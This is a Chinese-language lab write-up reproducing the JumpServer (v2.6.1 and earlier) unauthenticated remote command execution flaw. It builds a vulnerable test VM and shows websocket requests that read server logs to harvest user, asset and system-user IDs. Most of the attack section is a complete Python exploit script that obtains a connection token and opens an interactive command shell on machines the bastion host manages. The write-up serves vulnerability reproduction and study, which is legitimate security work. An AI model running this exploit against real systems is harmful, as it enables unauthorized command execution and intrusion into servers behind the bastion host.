JumpServer远程执行漏洞复现

搭建环境:

复现要求最低2核8G,找同事借了台centos虚拟机复现。

1
Centos7.7 8G 4核

下载脚本安装JumpServer

image-20210119172033726

因为安装成了2.6.2版本,切换到2.6.1版本

1
2
./jmsctl.sh upgrade v2.6.1
./jmsctl.sh restart

image-20210119194637199

image-20210119195012188

漏洞复现:

根据参考链接,完整的rce利用步骤如下:

  1. 未授权的情况下能够建立websocket连接
  2. task可控,可以通过websocket对日志文件进行读取
  3. 拿到日志文件中的系统用户,用户,资产字段
  4. 通过3中的字段,可以拿到20s的token
  5. 通过该token能够进入koko的tty,执行命令

1、首先需要添加资产并且在web终端打开,这一步是为了产生日志数据,因为下面连接服务器需要日志文件的系统用户、管理用户、资产字段

image-20210120141237947

2、使用websocket工具手动获取信息,获取一些task id

1
2
ws://10.50.2.237:8080/ws/ops/tasks/log/
{"task":"/opt/jumpserver/logs/jumpserver"}

image-20210120104739136

3、根据task id获取相关信息(可忽略)

1
2
ws://10.50.2.237:8080/ws/ops/tasks/log/
{"task":"c5aad165-9893-4bee-8a52-eb808aa15f47"}

image-20210120104909060

4、获取以下信息 user、asset、system_user

1
2
3
4
ws://10.50.2.237:8080/ws/ops/tasks/log/
{"task":"/opt/jumpserver/logs/gunicorn"}

asset_id=b60c9792-a843-4b1b-935d-57134f3fca83&system_user_id=ae4b8369-5b69-4e42-941e-9f2f16686a05&user_id=452ce66e-87e9-41c2-bc92-b9c110780055

image-20210120110623917

5、通过user、asset、system_user利用/api/v1/users/connection-token/拿到一个token(20s),将token发给koko组件可以拿到一个ssh凭证,然后登录用户机器,所以最终执行的脚本是在堡垒机控制的机器而不是堡垒机本身,这个需要注意下。

替换里的user、asset、system_user然后执行脚本,这里试了几个链接里面的脚本,虽然都连接成功但是不能执行命令,只有peiqi大佬的脚本我这里复现成功了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
import requests
import json
import sys
import time
import asyncio
import websockets
import re
from ws4py.client.threadedclient import WebSocketClient

def title():
print('+------------------------------------------')
print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
print('+ \033[34mPOC_Des: https://www.o2oxy.cn/ \033[0m')
print('+ \033[34mVersion: JumpServer <= v2.6.1 \033[0m')
print('+ \033[36m使用格式: python3 poc.py \033[0m')
print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m')
print('+ \033[36mCmd >>> whoami \033[0m')
print('+------------------------------------------')

class ws_long(WebSocketClient):

def opened(self):
req = '{"task":"/opt/jumpserver/logs/jumpserver"}'
self.send(req)

def closed(self, code, reason=None):
print("Closed down:", code, reason)

def received_message(self, resp):
resp = json.loads(str(resp))
# print(resp)
data = resp['message']
if "File" in data:
data = ""
print(data)


async def send_msg(websocket, _text):
if _text == "exit":
print(f'you have enter "exit", goodbye')
await websocket.close(reason="user exit")
return False
await websocket.send(_text)
recv_text = await websocket.recv()
print(re.findall(r'"data":"(.*?)"', recv_text))


async def main_logic(target_url):
print("\033[32m[o] 正在连接目标: {}\033[0m".format(target_url))
async with websockets.connect(target_url) as websocket:
recv_text = await websocket.recv()
resws = json.loads(recv_text)
id = resws['id']
print("\033[36m[o] 成功获取 ID: {}\033[0m".format(id))

inittext = json.dumps({"id": id, "type": "TERMINAL_INIT", "data": "{\"cols\":164,\"rows\":17}"})
await send_msg(websocket, inittext)
for i in range(7):
recv_text = await websocket.recv()
print(re.findall(r'"data":"(.*?)"', recv_text))

while True:
cmd = str(input("\033[35mcmd >>> \033[0m"))
cmdtext = json.dumps({"id": id, "type": "TERMINAL_DATA", "data": cmd + "\r\n"})
await send_msg(websocket, cmdtext)
for i in range(1):
recv_text = await websocket.recv()
print(re.findall(r'"data":"(.*?)"', recv_text))


def POC_1(target_url):
vuln_url = target_url + "/api/v1/users/connection-token/?user-only=1"
response = requests.get(url=vuln_url, timeout=5)
if response.status_code == 401 or response.status_code == 403 or response.status_code == 404:
print("\033[32m[o] 目标 {} JumpServer堡垒机为未修复漏洞版本,请通过日志获取关键参数\033[0m".format(target_url))
ws_open = str(input("\033[32m[o] 是否想要提取日志(Y/N) >>> \033[0m"))
if ws_open == "Y" or ws_open == "y":
ws = target_url.strip("http://")
try:
ws = ws_long('ws://{}/ws/ops/tasks/log/'.format(ws))
ws.connect()
ws.run_forever()
ws.close()
except KeyboardInterrupt:
ws.close()
else:
print("\033[31m[x] 目标漏洞已修复,无法获取敏感日志信息\033[0m")
sys.exit(0)


def POC_2(target_url, user, asset, system_user):
if target_url == "" or asset == "" or system_user == "":
print("\033[31m[x] 请获取 assset 等参数配置\033[0m")
sys.exit(0)
data = {"user": user, "asset": asset, "system_user": system_user}
vuln_url = target_url + "/api/v1/users/connection-token/?user-only=1"
# vuln_url = target_url + "/api/v1/authentication/connection-token/?user-only=1"

try:
response = requests.post(vuln_url, json=data, timeout=5).json()
print("\033[32m[o] 正在请求:{}\033[0m".format(vuln_url))
token = response['token']
print("\033[36m[o] 成功获取Token:{}\033[0m".format(token))
ws_url = target_url.strip("http://")
ws_url = "ws://" + ws_url + "/koko/ws/token/?target_id={}".format(token)
asyncio.get_event_loop().run_until_complete(main_logic(ws_url))

except Exception as e:
print("\033[31m[x] 请检查 assset 等参数配置,{}\033[0m".format(e))
sys.exit(0)


if __name__ == '__main__':
title()
target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
user = "452ce66e-87e9-41c2-bc92-b9c110780055"
asset = "b60c9792-a843-4b1b-935d-57134f3fca83"
system_user = "ae4b8369-5b69-4e42-941e-9f2f16686a05"
POC_1(target_url)
POC_2(target_url, user, asset, system_user)

最终通过脚本可执行命令。

image-20210120144527345

参考链接:

https://mp.weixin.qq.com/s/5q4cSlHUQ3NejkRg3vOWUA

https://saucer-man.com/information_security/520.html